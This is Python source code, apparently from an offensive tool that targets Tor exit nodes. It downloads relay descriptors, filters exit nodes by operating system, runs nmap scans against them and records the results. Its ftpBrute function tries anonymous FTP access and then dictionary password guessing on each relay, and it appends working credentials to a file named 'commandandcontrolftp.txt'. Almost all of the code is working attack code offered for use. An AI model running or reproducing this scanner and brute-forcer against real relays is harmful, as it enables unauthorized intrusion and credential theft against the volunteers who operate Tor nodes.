def ftpBrute(self): self.cli.logger.debug(term.format("[+] Starting FTP BruteForce mode on Thread: %d "%self.tid, term.Color.GREEN)) ftpFileName = 'commandandcontrolftp.txt' self.cli.logger.debug(term.format("[+] Trying Anonymous access in: %s "%(self.torNode.host), term.Color.GREEN)) try: ftpClient = ftplib.FTP(self.torNode.host) ftpClient.login() self.cli.logger.debug(term.format("[+] Anonymous access allowed in: %s "%(self.torNode.host), term.Color.GREEN)) ftpFile = open(ftpFileName, 'a') entry = '%s:%s:%s' %(self.torNode.host, 'anonymous', 'anonymous') ftpFile.write(entry+'\n') ftpFile.close() except: self.cli.logger.debug(term.format("[-] Anonymous access is not allowed in: %s "%(self.torNode.host), term.Color.GREEN)) if(self.cli.dictFile is not None and os.path.exists(self.cli.dictFile)): self.cli.logger.debug(term.format("[+] Reading the Passwords file %s " %(self.cli.dictFile), term.Color.GREEN)) for line in open(self.cli.dictFile, "r").readlines(): [user, passwd] = line.strip().split() try : ftpClient = ftplib.FTP(self.torNode.host) ftpClient.login(user, passwd) except: continue if ftpClient: self.cli.logger.info(term.format("[+] FTP Bruteforcer Success ... username: %s and passoword %s is VALID! " % (user, passwd), term.Color.YELLOW)) ftpClient.quit() ftpFile = open(ftpFileName, 'a') entry = '%s:%s:%s' %(self.torNode.host, user, passwd) ftpFile.write(entry+'\n') ftpFile.close() ftpClient.close() else: self.cli.logger.debug(term.format("[+] passwords file not found on the path %s. Now, we'll use FuzzDB!" %(self.cli.dictFile), term.Color.RED))
def filterNodes(self, listDescriptors): ''' List the Exit Nodes using the filters specified by command-line. ''' nodesAlreadyScanned = [] nm = nmap.PortScanner() for descriptor in listDescriptors[0:self.cli.exitNodesToAttack]: #for descriptor in parse_file(open("/home/adastra/Escritorio/tor-browser_en-US-Firefox/Data/Tor/cached-consensus")): if descriptor.operating_system is not None and \ self.cli.mode.lower() in descriptor.operating_system.lower() and \ descriptor.exit_policy.is_exiting_allowed(): #SEARCH FILTERING BY FINGERPRINT #Conditions: Fingerprint specified in command-line AND #Relay Fingerprint equals to the Fingerprint specified in command-line. AND #Relay's Operative System equals to the Operative System (option mode) specified in command-line AND #The Relay is a Exit Node. if descriptor.address not in nodesAlreadyScanned: self.cli.logger.info(term.format("[+] %s System has been found... Nickname: %s - OS Version: %s - Fingerprint: %s - TOR Version: %s " % (descriptor.operating_system, descriptor.nickname, descriptor.operating_system, descriptor.fingerprint, descriptor.tor_version), term.Color.YELLOW)) self.cli.logger.debug(term.format("[+] Starting the NMap Scan with the following options: ", term.Color.GREEN)) self.cli.logger.debug(term.format("[+][+] Scan Address: %s " % (descriptor.address), term.Color.GREEN)) self.cli.logger.debug(term.format("[+][+] Scan Arguments: %s " % (self.cli.scanArguments), term.Color.GREEN)) self.cli.logger.debug(term.format("[+][+] Scan Ports: %s " % (self.cli.scanPorts), term.Color.GREEN)) if self.cli.scanArguments != None: nm.scan(descriptor.address, self.cli.scanPorts, arguments=self.cli.scanArguments) else: nm.scan(descriptor.address, self.cli.scanPorts) self.recordNmapScan(nm, descriptor) self.cli.logger.info(term.format('[+] Scan Ended for %s .' % (descriptor.nickname), term.Color.YELLOW)) nodesAlreadyScanned.append(descriptor.address) if len(self.exitNodes) == 0: self.cli.logger.warn(term.format("[+] In the first %d records searching for the %s Operating System, there's no results (machines with detected open ports)" %(self.cli.exitNodesToAttack, self.cli.mode.lower()), term.Color.RED)) else: self.database.initDatabase() self.database.insertExitNode(self.exitNodes) return self.exitNodes
def listAuthorityExitNodes(self): ''' List the Exit Nodes using the filters specified by command-line. ''' self.cli.logger.debug(term.format("[+] Try to listing the current Exit-Nodes of TOR.", term.Color.GREEN)) if self.cli.exitNodeFingerprint != None: self.cli.logger.debug(term.format("[+] Using the fingerprint: %s " % (self.cli.exitNodeFingerprint), term.Color.GREEN)) self.cli.logger.debug(term.format("[+] Filter by platform: %s." % (self.cli.mode), term.Color.GREEN)) self.cli.logger.debug(term.format("[+] Retrieving the first %d records in the Descriptors." % (self.cli.exitNodesToAttack), term.Color.GREEN)) if self.cli.useMirror == True: self.cli.logger.info(term.format("[+] Using the Directory Mirrors to get the descriptors", term.Color.YELLOW)) downloader = DescriptorDownloader(use_mirrors=self.cli.useMirror) if self.cli.exitNodeFingerprint != None: descriptors = downloader.get_server_descriptors(fingerprints=[self.cli.exitNodeFingerprint]) else: descriptors = downloader.get_server_descriptors() try: listDescriptors = descriptors.run() except zlib.error: self.cli.logger.error(term.format("[-] Error fetching the TOR descriptors. This is something quite common... Try again in a few seconds.",term.Color.RED)) return except urllib2.HTTPError: self.cli.logger.error(term.format("[-] Figerprint not found... It's not registered in the last valid server descriptor.",term.Color.RED)) return return self.filterNodes(listDescriptors)
def print_bootstrap_lines(line): """ Print the bootstrap lines. :param line: line to be printed. :type line: str :return: None. """ if "Bootstrapped " in line: print(term.format(line, term.Color.BLUE))
def colorize(line_type, line_content): """ Applies escape sequences so each line is colored according to its type. """ if COLOR_SUPPORT: line_content = term.format(line_content, *LINE_ATTR[line_type]) return line_content